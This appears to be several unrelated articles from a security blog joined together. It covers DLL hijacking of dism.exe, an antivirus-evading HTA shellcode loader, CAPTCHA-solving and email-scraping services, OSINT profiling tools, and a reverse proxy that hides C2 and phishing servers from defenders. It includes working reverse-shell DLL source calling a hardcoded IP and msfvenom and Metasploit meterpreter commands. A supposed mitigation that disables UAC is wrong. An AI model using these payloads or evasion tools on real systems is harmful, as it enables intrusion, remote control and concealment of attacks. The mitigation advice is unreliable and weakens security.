Dll hijacking – The name sounds somewhat mysterious, but it is an interesting attack technique that anyone who cares about security wants to explore. On the Windows operating system, the programs depend a lot on the DLL file (Dynamic Link Library) to operate smoothly. But if a cunning hacker replaces the original DLL with a “toxic” version, what will happen?

Important note: This article only serves the purpose of learning and research. Anonyviet does not encourage any illegal behavior, and you need to be responsible for your actions!

What is Dll Hijacking?

DLL Hijacking is a gap technique when the program does not strictly control the DLL file. When an application like DISM.EXE (Windows system management tool) runs, it will search for the DLL needed in a series of folders in the order of priority.

If the hacker puts a fake DLL in the directory that the program checks before coming to the Orthodox folder (such as System32), the application will “innocent” download malware instead of the original DLL. This is the “gap” that security experts – or hackers – can take advantage.

Why is dism.exe an ideal goal?

DISM.EXE is a built -in tool in Windows, usually located in C: \ Windows \ System32. Because of its popularity and role in managing the system, DISM.EXE became an attractive “prey” to test the DLL Hijacking. Moreover, the way Windows search DLL is sometimes lacking, opening up opportunities for sophisticated attacks.

Guide to exploit dll hijacking with process monitor

To exploit this gap, we need a process monitor tool from Sysinternals. This is a “powerful assistant” to help you track how the system interacts with DLL files. Here are the detailed steps:

Step 1: Prepare the testing environment

• To be safe, use VirtualBox or Vmware Instead of trying directly on the main machine.
• Select the goal: Here, I choose Dism.exe, but you can apply this method to any program.

Step 2: Monitor the behavior of dism.exe

Open Process Monitor, you will see a series of system events recorded. Don't panic! Set the filter to focus:

• Press Ctrl + L (or go to Filter> Filter).
• Add conditions: Process Name – IS – DISM.EXE – Include and Path – Contains
  – .dll – Include

• Press Add Already OK. Now Process Monitor only shows activities related to DISM.EXE and DLL.

Step 3: Run Dism.exe and observe

• Open PowerShell, type C: \ Windows \ System32 \ DISM.EXE and click Enter.
• Back to Process Monitor, you will see the list of DLLs that Dism.exe try to download.

• If the result column displays “Name not foundIt is a sign that the program can be exploited DLL Hijacking.

For example, I discovered the file C: \ Windows \ System32 \ Dismcore.dll Can be exploited.

Step 4: Create fake DLL

• Copy dism.exe to the %Temp %folder.

• Create a toxic dismcore.dll file. Here I created a Payload Reverse Shell called DISMCORE.CPP and translated into Dismcore.dll file with Visual Studio then copied it to the % Temp % directory and ran the dism.exe file again

#define REVERSEIP "193.161.193.99" #địa chỉ ip máy hacker
#define REVERSEPORT 52543 #port máy hacker

#include
#include

#pragma comment(lib,"ws2_32")

WSADATA wsaData;
SOCKET Winsock;
SOCKET Sock;
struct sockaddr_in hax;

STARTUPINFO ini_processo;
PROCESS_INFORMATION processo_info;

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
WSAStartup(MAKEWORD(2,2), &wsaData);
Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);

hax.sin_family = AF_INET;
hax.sin_port = htons(REVERSEPORT);
hax.sin_addr.s_addr = inet_addr(REVERSEIP);

WSAConnect(Winsock,(SOCKADDR*)&hax,sizeof(hax),NULL,NULL,NULL,NULL);

memset(&ini_processo,0,sizeof(ini_processo));
ini_processo.cb=sizeof(ini_processo);
ini_processo.dwFlags=STARTF_USESTDHANDLES;
ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;

CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&ini_processo,&processo_info);
return TRUE;
}

Step 5: Check the results

Run Dism.exe from %Temp %. If successful, a Reverse Shell connection will be sent to IP and port you have defined. Hackers can now control the machine remote!

How to detect and prevent dll hijacking

Understanding how to exploit is one thing, but protecting the system from DLL Hijacking is another challenge. Here's how to identify and prevent:

How to detect dll hijacking

1. Explore by Process Monitor

This is an effective tool to track the DLL download program: Observe the application's operation and search for the “name not found” line in the result column, when it tries to take DLL from non -security positions (such as the directory is in use or outside the System32).

If the DLL search application in places is susceptible to the bad guy who inserts a fake file before going to the standard folder, which is a potential sign.

2. Take advantage of DLLSPY

Dllspy Is a compact, specialized solution to detect the risk of dll hijacking:

How to do it:

1. Start DLLSPY on the computer.
2. The tool will review the running processes, checking how they search DLL.
3. DLLSPY offers a list of applications that may be attacked if they prioritize DLL from unreliable folders (such as personal directory or abnormal paths).

Strengths: DLLSPY automates the analysis, helping to quickly indicate vulnerable software without manual manipulation as with Process Monitor.

For example, when checking DISM.EXE, DLLSPY may detect whether it looks for dismcore.dll outside the system32.

3. Check the DLL download sequence via Dependency Walker

Download Dependency Walker (Free) To consider the DLL that the software needs to use.
Run the application in this tool, then observe the DLL list and the loading path. If DLL is found to be taken from an unofficial place, it is a warning signal.

4.

• When a familiar software (such as dism.exe) works strange (displaying strange messages or having errors), it is likely that DLL has been replaced.
• Use Task Manager or Process Explorer to check the related processes and verify the file origin.

Measures to prevent DLL hole Hijacking

1. Limit access to folders

• Make sure that only administrators are allowed to record data in important folders such as C: \ Windows \ System32.
• Avoid launching applications from unsafe places (for example: C: \ Downloads), because the attacker can place fake DLL there.

2. Apply fixed path in programming

If you develop the software, configure the program to call DLL with a clear link (like C: \ Windows \ System32 \ Dismcore.dll), instead of letting it freely search.

3. Turn on Safedllsearchmode mode

Check and set the SafedllsearchMode value in the Registry (at Hkey_local_machine \ System \ CurrentControlset \ Control \ Session Manager) into 1, to prioritize the first system folders.

4. Deploying protection tools

Use anti -virus or anti -malicious software (such as MalwareStes, Kaspersky, …) to identify and prevent dangerous DLLs promptly.

Conclude

Dll hijacking Not only is an attack technique but also a warning about the importance of software security. With tools like Process Monitor, you can both exploit and prevent this hole effectively. The world of security is still countless interesting things waiting for you to explore. Start today, turn your knowledge into strength and always be careful in every step!

The execution of malicious code without being detected by antivirus software (antivirus) is a significant challenge for both attacking and defensive. Today, we will discover a tool named Hamalan innovative method for execution Shellcode remotely In Windows environment, simultaneously Overcoming the detection mechanism of antivirus effectively. This technique uses HTA (HTML Application) and JavaScriptallowing attackers to load and execute Shellcode directly remotely, thereby minimizing the possibility of being detected. Okay, not long anymore the main problem!

Note: This article is only for research and learning purposes. Anonyviet will not suffer any illegal acts!

The concept of HTA is brief and attack method

What is HTA?

HTA (HTML Application) is a type of HTML -based application developed by Microsoft, can be executed directly through mshta.exe without being restricted by the browser sandbox. Therefore, HTA has become a useful tool for legal automation tasks, but also a dangerous tool in the hacker hand

Why can HTA be abused?

• Run with high rights: HTA can execute Vscrip/javascript With the user's rights without displaying a warning window like when running regular script
• No need to write the file: Hacker can download HTA remotely without storing toxic content on the victim's machine
• Ignore some security solutions: Some antivirus software do not scan HTA carefully like other execution files (.exe, .dll), creating BYPASS opportunities

How to work for payload hamal

Hamal is a tool to create 1 payload HTA to execute Shellcode remotelyhelping to avoid being detected by Antivirus. The general process is as follows:

Create HTA files containing toxic JavaScript code

• In the source code of the tool, I disturbed Payload at the page https://obfuscator.io/you can see the source code of Payload at the end in the Source Tool
• Hamamal's Payload will change the file name, URL and execution command to HEX and 2 files: Autoit.exe and Loader.A3x encrypted by Xor algorithm. When Payload is executed on the victim's machine, it will decode and execute the command in the %appdata %folder

Download Shellcode from C2 server: When users open HTA files, script Loader.A3x Will take Shellcode from the hacker server

Taking advantage of the valid digital signature (Digital signature) of the file Autoit.exe to bypass antivirus

• I have compile script Loader.au3 to Loader.A3x, when running the command Autoit.exe Loader.A3x perform Download and execute Shellcode remoteby using the functions Windows API To allocate memory, copy Shellcode into the granted memory area, then create a new stream to execute Shellcode.
• One of the techniques Bypass antivirus (AV) popular is Take advantage of valid digital signatures of legal software To execute malicious code. In this case, I have Taking advantage of Autoit.exe with valid digital signature To avoid being detected by security software

Hamamal – Payloading tool for executing Shellcode remotely bypass antivirus

To use this tool, you need to download Python to your computer, then download the source code of the tool hereafter downloading, you extract and experience (the decompression pass: anonyviet.com)

Before using Hamamal, we need to create a Shellcode, here I will use Metasploit to create with the statement:

msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.1.33 lport=8443 -f raw -o shellcode.bin

#Setup môi trường lệnh tấn công

msfconsole

use exploit/multi/handler

set payload windows/x64/meterpreter/reverse_https

set lhost=your ip address

set lport=your port

run

Next, run the Python3 -M Http.Server 80 command to open the file storage server shellcode.bin and python3 hamal.py to run the tool. Now I will enter the URL containing my shellcode

That is done, now I will suppress the Payload hta_payload.hta into a zip file with a password of 123123@

And here is the result:

Video demo:

How to prevent attack with HTA

Because MSHTA.EXE is rarely necessary in the business environment, blocking Mshta.exe is a simple way to reduce the risk of being attacked. Can be done by:

Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System" -Name "EnableLUA" -Value 0

Or in Group Policy:

• Computer Configuration → Windows Settings → Security Settings → Software Restriction Policies
• More mshta.exe Go to the blocked list

Hamamal is a help to create a shellcode execution, using techniques Bypass antivirus (AV) To avoid being detected. By combining HTA (HTML Application) with Autoitthis tool can execute malware directly in memory. However, the important thing to emphasize is Hamamal is only used for the purpose of security and legal testing.

To prevent BYPASS AV techniques like Hamamal, it is necessary:
🔹 Monitor suspected processes, especially Autoit.exe.
🔹 Limit the implementation of HTA on the system if not necessary.
🔹 Apply advanced protection mechanisms such as Application Whitelisting, Amsi Logging, and Behavioral Analysis.

👉 What do you think about this method? Is there any way to improve AV's detection to fight this technique? Please share your opinion! 🚀

Are you tired of having to search for email addresses manually, wasting time and effort but not being effective? Let Snov.io Email Finder help you! This tool will help you find and verify email addresses quickly and accurately, helping you focus on more important things and improve work efficiency.

What is Snov.io Email Finder?

Snov.io Email Finder is a tool that helps you quickly find and verify email addresses, making it easier to connect with the right people. Whether you're doing sales marketing, recruiting, or simply want to expand your network, this tool allows you to search emails based on people's names, company domains, or even just a LinkedIn profile.

Snov.io Email Finder's smart authentication feature

Not only searching, Snov.io Email Finder also helps you authenticate email addresses, ensure emails you send to the correct recipient and avoid bounces. This helps:

• Your email does not fall into the spam box, Snov.io helps you remove non-existent email addresses.
• Sending emails to the right recipients increases the likelihood that emails will be read and interacted with, bringing better results to your marketing campaign.
• You don't need to waste time checking each email address manually.

Connect Snov.io with other tools

Snov.io Email Finder can connect with many other tools, making your work more convenient:

• Connect with CRM to automatically update contact lists and manage customer information effectively.
• Connect with email marketing tools like Mailchimp to create email lists and follow up effectively.
• Combine with marketing automation tools to build an automatic customer search and contact process.

See more: How Hackers Bypass AV Infiltrate Windows with Autoit

Instructions for using Snov.io Email Finder

Use on the web

Usage is very simple, you just need to access Snov.io website > Enter company name/ website/ person name > Click 'Find emails' and you're done.

Use via extension

You can install Snov.io Chrome Extension to easily search for email addresses when visiting any website

Step 1: Go to the settings page Snov.io Chrome Extension > Click Download

Step 2: Visit any company's website.

Step 3: Activate the Email Finder utility. This utility will immediately start the email search process, and the results will be compiled in a separate list that you can easily customize with the appropriate title.

Additionally, when you click on the 'Prospects' section, you can explore the location of 'prospects' within the company, you can also access their social network information (e.g. LinkedIn) , helps you get more contact information.

Search LinkedIn for free emails with LI Prospect Finder

Snov.io also offers another Chrome extension – LI Prospect Finder – that allows you to search emails on LinkedIn for free. This extension integrates directly with the LinkedIn search bar, making it easy to search for emails without having to manually navigate them.

Step 1: To use, simply download LI Prospect Finder > Go to LinkedIn and start searching.

Step 2: Enter the prospect's job title, apply filters (like People, Jobs, Connections, Locations, or Current Company) > Then activate the widget.

Step 3: Then, simply click 'Save' to save the verified email addresses to a separate folder in the Snov.io web app.

Why do you say it's been verified? That's because all of Snov.io's email search tools are equipped with a built-in Email Verifier tool, eliminating the need to manually check email validity,

Each email will have a colored dot next to it: Green means the email has been verified, yellow means the email needs to be reviewed, and red means the addresses do not exist.

See more: Latest Active Burp Suite Pro 2024 + BugBounty Pro guide

Conclusion

Snov.io Email Finder not just an email search tool, but a comprehensive solution that helps you connect with potential customers, build strong relationships, and grow your business. Experience it today!

In the digital age, the automation of online tasks has become more popular than ever. However, the presence of Captcha – a test system to distinguish real users and BOT – often causes significant obstacles to this process. Do not worry, Capsolver came to solve this problem!

The “nuisance” called Captcha

In the world of digital technology is constantly developing, web automation and data collection (web scraping) have become an indispensable part. However, Captcha – a test system to distinguish real users and BOT – is a significant barrier that many developers face.

Whether you are building a BOT, collecting data or simply trying to automate repeated tasks online, Captcha may be a big obstacle. Therefore, Capsolver was born as an effective solution to overcome these difficulties.

See also: DNS Spy: DNS analysis tool of any domain

Capsolver: Effective Captcha solution solution

Capsolver As an advanced service designed to solve Captcha automatically, helping you save time and effort. This platform supports a variety of captcha, including popular types such as Recaptcha, HCAPTCHA and even puzzles based on complex images.

What makes the difference of capsolver is the speed and accuracy – two important factors when you are processing automation on a large scale.

Capsolver provides easy -to -use APIs, allowing you to integrate the ability to solve captcha directly into your applications. Whether you are working with Python, JavaScript or any other programming language, Capsolver provides clear guidance documents to help you start quickly.

For example, you can easily integrate capsolver into a bot collecting product data on e -commerce website. When the BOT encounters Captcha, it will automatically send the request to Capsolver to solve and continue the data collection process without interrupted.

Capsolver homepage link: https://www.capsolver.com/

Benefits when using capsolver

Save time & effort

Imagine you have to solve hundreds, even thousands of captcha every day. This is not only time -consuming but also causing fatigue and reducing work efficiency. Capsolver will automate this process, freeing you from repetitive tasks, allowing you to focus on more important tasks.

Improve automation efficiency

With the ability to solve captcha quickly and accurately, Capsolver helps optimize your automation process. Your BOT will work smoothly, collect data faster and more effectively.

Affordable cost

Capsolver applies a turn -based payment model, you only have to pay for the resolved captcha. This helps you control costs effectively, especially for small projects or large -scale operation.

Support 24/7

With a professional support team 24/7, you can rest assured that Capsolver is always ready to assist you at any time, ensuring your automation process goes smoothly.

See also: Mr Holmes: Information collection tool for Osint people

Conclusion

Capsolver is a comprehensive and effective solution to overcome the Captcha barrier, helping you automate online tasks easily and quickly. With high speed, accuracy, easy -to -use API and reasonable cost, Capsolver is the optimal choice for developers, businesses and anyone who wants to optimize their automation process.

Collecting and analyzing information from open sources (OSINT) is becoming increasingly important. Whether you are a researcher, journalist, cybersecurity expert, or simply someone who wants to learn more about the world around you, having a powerful and effective OSINT tool is essential. Let's find out Seekra versatile and easy-to-use OSINT toolkit that promises to revolutionize the way you access and exploit information from open source.

Introducing Seekr

Seekr is a versatile toolkit designed to collect and manage OSINT (Open Source Intelligence) data through an intuitive and easy-to-use web interface. Seekr's desktop interface allows you to integrate all your favorite OSINT tools into a single place.

Written in the Go language with BadgerDB as the database, Seekr offers a range of powerful features for data collection, organization and analysis. Whether you are a researcher, investigator, or simply someone who wants to gather information, Seekr will help you easily find and manage the data you need.

See more: Instructions get someone else's IP by Email, QR Code, Word File, Excel, PDF,…

Key features of Seekr

• NO API key required for all features, saving time and effort on API key registration and management.
• Desktop interface is familiar and easy to use.
• The database for OSINT targets is efficiently stored and organized.
• Integration/tuning of many popular OSINT tools (e.g. phoneinfoga)
• Search for information related to email addresses on GitHub.
• Enter the information you have and get recommendations for useful web tools.
• Account cards for each person in the database to manage information about individuals in detail.
• Automatically search and link online accounts.
• Predefined fields are commonly used in databases, helping to save data entry time and ensure consistency.
• Customize themes and plugins to extend Seekr's functionality.

Instructions for installing Seekr

Note: Unstable builds may contain bugs and are not recommended for use in production environments.

Install Seekr on Windows

Download and run the latest exe file here. Then open web interface in the browser.

• Unstable version:

First, install TypeScript and Go. Then to install Seekr on Windows, run the following commands:

git clone https://github.com/seekr-osint/seekr
cd seekr
go generate ./...
tsc --project web
go run main.go

Install Seekr with Docker

docker pull ghcr.io/seekr-osint/seekr:latest
docker run -p 8569:8569 ghcr.io/seekr-osint/seekr:latest

Install Seekr on Linux

Download the latest stable binary file here

• Unstable version:

Make sure you have TypeScript and Go installed. To install Seekr on Linux, run the following commands:

git clone https://github.com/seekr-osint/seekr
cd seekr
go generate ./...
tsc --project web
go run main.go

Then open web interface in the browser.

Run Seekr on NixOS

Seekr is built with NixOS and supports nix flakes. To run Seekr on NixOS, run the following commands:

nix shell github:seekr-osint/seekr
seekr

How to use Seekr

You can refer to the instructions for using this tool through the article THIS

See more: DNS Spy: DNS analysis tool for any domain

Conclusion

Seekr is a flexible OSINT tool that provides users with a comprehensive solution for collecting, organizing and analyzing data from open sources. With a user-friendly interface, integration with many popular tools, and high customization capabilities, Seekr is ideal for researchers, investigators, and anyone who wants to harness the power of OSINT.

MyIPa comprehensive network testing tool, emerges as an effective solution to help users understand and manage their internet connection effectively. In an increasingly digital world, ensuring security and optimizing network performance has become extremely important. MyIP doesn't simply display IP addresses, but also offers a range of in-depth testing features, from network speed, DNS leaks, WebRTC to censorship testing and Whois lookups.

Main features of MyIP

• Display IP Address: The application will Identify and display local IP addresses from various IPv4 and IPv6 providers.
• IP Information: Provides details about every IP address, including country, region, ASN, geolocation, and more.
• Check Availability: Determine availability of sites like Google, GitHub, YouTube, ChatGPT, and many others.
• WebRTC Detection: Determines the IP address used in WebRTC connections.
• DNS Leak Check: Displays data from DNS endpoints to assess the risk of DNS leaks when using a VPN or proxy.
• Network Speed ​​Test: Evaluate the speed of your network connection to edge networks.
• Check Proxy Rules: Check the proxy software's rule settings to make sure they are working correctly.
• Global Latency Test: Perform latency tests on servers in different regions of the world.
• MTR Test: Perform MTR tests on servers in different regions around the globe.
• DNS Resolver: Perform DNS resolution of a domain name from various sources and collect real-time resolution results to identify DNS poisoning.
• Censorship Test: Check to see if a website is blocked in certain countries.
• Whois Lookup: Perform a whois lookup for the domain name or IP address.
• MAC Address Lookup: Query information of a physical address.
• Dark Mode: Automatically switch between dark and light modes based on system settings, or you can switch manually.
• Minimalist Mode: Optimized mode for mobile, shortening page length for quick access to necessary information.
• Look Up IP Information: Provides a tool to look up information about any IP address.
• PWA Support: Can be added as an app on your phone or as a Chrome app on your computer.
• Shortcut Keys: Supports keyboard shortcuts for all functions, press ? to see a list of keyboard shortcuts.
  Based on the availability test results, indicate whether a global internet connection is possible.
• Support English, Chinese and French.

See more: De digger: Tool to find other people's files on Google Drive

How to use MyIP

Deploying MyIP in a Node

Step 1: First, make sure you have Node.js installed before proceeding

Step 2: Copy the following code:

git clone https://github.com/jason5ng32/MyIP.git

Step 3: Run the following command to install and build:

npm install && npm run build

Step 4: Run the program with this command:

npm start

The program will run on port 18966.

Use Docker

Click the 'Deploy to Docker' Button at the top of the page to complete the deployment.

Or use the following shell command:

docker run -d -p 18966:18966 --name myip --restart always jason5ng32/myip:latest

Environment Variable

You can use the program without adding any environment variables, but if you want to use some advanced features, you can add environment variables.
List of environment variables you can refer to at MyIP's Github page

Using environment variables in Node.js

To customize MyIP in Node.js, you can use environment variables. Below are the detailed steps:

Step 1: To create environment variables, you can follow these steps:

cp .env.example .env

Step 2: Then, edit the .env file content and add the following lines:

BACKEND_PORT=11966
FRONTEND_PORT=18966
BING_MAP_API_KEY="YOUR_KEY_HERE"
ALLOWED_DOMAINS="example.com"
IPCHECKING_API="YOUR_KEY_HERE"

Step 3: Finally, restart the backend service to apply the changes.

Explanation of environment variables:

• BACKEND_PORT: Port on which the backend server will listen.
• FRONTEND_PORT: Port on which the frontend user interface will run.
• BING_MAP_API_KEY: Bing Maps API key, used for features related to geolocation.
• ALLOWED_DOMAINS: List of domains allowed to access the application.
• IPCHECKING_API: API key of the IP checking service, used to verify IP addresses.

Using environment variables in Docker

You can also use environment variables when running MyIP in Docker. For example:

docker run -d -p 18966:18966 \
-e BING_MAP_API_KEY="YOUR_KEY_HERE" \
-e ALLOWED_DOMAINS="example.com" \
-e IPCHECKING_API="YOUR_TOKEN_HERE" \
--name myip \
jason5ng32/myip:latest

How to use MyIP advancedly

If you are using a proxy to access the internet, consider adding the following rule to your proxy configuration (edit depending on the application you use). This setup allows you to check both the real IP and the IP when using a proxy:

# IP Testing
IP-CIDR,1.0.0.1/32,DIRECT,no-resolve
IP-CIDR6,2606:4700:4700::1111/128,DIRECT,no-resolve
DOMAIN-SUFFIX,ipify.org,Proxy
# Rule Testing
DOMAIN,ptest-1.ipcheck.ing,Proxy1
DOMAIN,ptest-2.ipcheck.ing,Proxy2
DOMAIN,ptest-3.ipcheck.ing,Proxy3
DOMAIN,ptest-4.ipcheck.ing,Proxy4
DOMAIN,ptest-5.ipcheck.ing,Proxy5
DOMAIN,ptest-6.ipcheck.ing,Proxy6
DOMAIN,ptest-7.ipcheck.ing,Proxy7
DOMAIN,ptest-8.ipcheck.ing,Proxy8

Proxy rule explanation:

• IP-CIDR and IP-CIDR6: Route requests to specific IP addresses directly, not through a proxy.
• DOMAIN-SUFFIX: Routes requests to the ipify.org domain through the proxy.
• DOMAIN: Route requests to ptest-*.ipcheck.ing domains through different proxies (Proxy1 to Proxy8).

Note: This configuration is just an example, you need to adjust it to your specific proxy configuration.

See more: 10 OSINT tools that hackers need to know

Conclusion

In short, MyIP is a powerful and flexible tool that provides a comprehensive solution for network testing and online privacy protection. With a friendly and easy-to-use interface, MyIP is the perfect choice for individual users and even professionals.

Protecting infrastructure from cyber attacks is becoming increasingly important. Especially for C2/Phishing systems, anonymity and security are key factors to maintain operations. BounceBack – a powerful and flexible reverse proxy – is designed to meet this need. With high customization, smart filtering system and WAF integration, BounceBack is the optimal solution to protect your infrastructure from surveillance and attacks.

Introducing BounceBack

BounceBack is a powerful reverse proxy, highly customizable and flexible in configuration, integrating WAF (Web Application Firewall) function to help hide your C2/phishing infrastructure from the security team's eyes (blue). team), sandbox, scanning tools, etc. It uses real-time traffic analysis through many filters to prevent illegal access.

The tool is delivered with a list of blocked words, blocked IP addresses, and preconfigured permissions. For more information on how to use the tool, you can visit the project's wiki below:

Github link

See more: De digger: Tool to find other people's files on Google Drive

Outstanding features of BounceBack

BounceBack possesses many superior features to help protect your infrastructure effectively:

• Highly customizable and flexible filtering system: With the ability to combine boolean-based rules (and, or, not), BounceBack can hide your infrastructure from even the most critical eyes of your security team. .
• Easily extensible project structure: Everyone can add their own C2 rules, increasing flexibility and customization.
• Massive IP blacklist integration: This list includes IP ranges and IPv4 pools known to be relevant to IT security vendors, combined with IP filtering to prevent them from using/downgrading attacks. your floor.
• Malleable C2 Configuration Analyzer: BounceBack can validate incoming HTTP(s) traffic against Malleable configuration and reject invalid packets.
• Domain Fronting support: This feature helps you hide your infrastructure more effectively.
• Check IP geolocation: BounceBack can check the request's IPv4 address against IP geo/reverse lookup data and compare it with specified regular expressions to rule out connections from Outside companies, countries, cities, domains, etc. are allowed.
• Uptime Filter: All incoming requests can be allowed/disallowed for any time period, so you can configure uptime filters.
• Multiple proxy support: BounceBack supports multiple proxies with different filtering pipelines on the same instance.
• Detailed logging mechanism: Allows you to track all incoming requests and events to analyze security team behavior and debug incidents.

Mechanism of action of the rule

The main idea of ​​the rules is how BounceBack matches traffic. The tool currently supports the following rule types:

• Boolean-based rule combination (and, or, not)
• Analyze IP and subnet
• Check the IP geolocation fields
• Reverse domain lookup
• Raw package regular expression matching
• Malleable C2 configuration traffic authentication
• Working (or non-working) hour rules
• Custom Rules: Custom rules can be easily added by registering RuleBaseCreator or RuleWrapperCreator your. See the RuleBaseCreator and RuleWrapperCreator already created in the project.

You can find the rules configuration page HERE

Proxy configuration and supported protocols

The proxy section is used to configure where to listen and proxy traffic, what protocols to use, and how to bind rules together to filter traffic. Currently, BounceBack supports the following protocols:

• HTTP(s): For your web infrastructure.
• DNS: For your DNS tunnels.
• Raw TCP (with or without tls) and UDP: For custom protocols.
• Custom Protocols: Custom protocols can be easily added by registering your new type in management program. You can find examples of proxies here.

You can find the proxy configuration page at this page.

Instructions for installing BounceBack

Method 1: Install from release

Download the latest release from this page > Extract folder > Edit configuration file > Launch BounceBack.

Method 2: Install from source code

Clone the project (don't forget GitLFS) > Settings goreleaser > Run command:

goreleaser release --clean --snapshot

How to use BounceBack

Step 1 (optional): Update banned_ips.txt list:

list:bash scripts/collect_banned_ips.sh > data/banned_ips.txt

Step 2: Edit config.yml for your needs: Configure rules to match traffic, proxies to analyze traffic using rules, and global variables for in-depth rule configuration.

Step 3: Run BounceBack: ./bounceback

Command line options:

• -c, –config string: Path to the configuration file in YAML format (default is “config.yml”).
• -l, –log string: Path to the log file (default is “bounceback.log”).
• -v, –verbose count: Log details (0 = info, 1 = debug, 2+ = trace).

See more: DNS Spy: Tool to analyze DNS of any Domain

Conclusion

BounceBack is a flexible tool that helps protect C2/phishing infrastructure. With its highly customizable, flexible filtering system and support for a wide range of protocols, BounceBack is an ideal choice to enhance the security of your system.